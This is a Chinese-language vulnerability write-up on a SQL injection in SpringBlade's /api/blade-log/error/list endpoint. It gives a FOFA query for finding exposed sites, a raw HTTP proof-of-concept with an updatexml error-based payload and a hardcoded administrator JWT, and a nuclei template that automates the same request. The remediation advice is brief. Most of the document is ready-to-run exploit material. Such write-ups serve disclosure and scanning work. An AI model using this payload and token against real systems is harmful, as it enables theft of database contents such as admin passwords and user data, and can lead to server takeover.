SpringBlade error/list SQL 注入漏洞

漏洞描述

SpringBlade 是一个由商业级项目升级优化而来的 SpringCloud 分布式微服务架构、SpringBoot 单体式微服务架构并存的综合型项目。SpringBlade框架后台/api/blade-log/error/list路径存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

产品界面

fofa语法

body="https://bladex.vip"

POC

GET /api/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

nuclei验证

id: SpringBlade-error-list-SQL
info:
  name: SpringBlade error/list SQL 注入漏洞
  author: nobody
  severity: high
  description: |
    SpringBlade 框架后台 /api/blade-log/error/list路径存在SQL注入漏洞，攻击者可以利用 SQL 注入漏洞获取数据库中的信息（管理员后台密码、站点的用户个人信息），还可以在
拥有高权限的情况下向服务器写入木马文件，造成服务器失陷。
  impact: |
    攻击者可以利用 SQL 注入漏洞获取数据库中的信息
  remediation: |
    升级版本，打补丁
  metadata:
    verified: true
    max-request: 3
    fofa-query: body="https://bladex.vip"
  tags: 
requests:
  - raw:
      - |
        GET /api/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
        Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close
    matchers:
      - type: dsl
        dsl:
          - status_code==500 && contains_all(body,"XPATH syntax error","Error querying database")

修复建议

• 建议升级到最新版本或打补丁
• 非必要禁止公网访问或白名单访问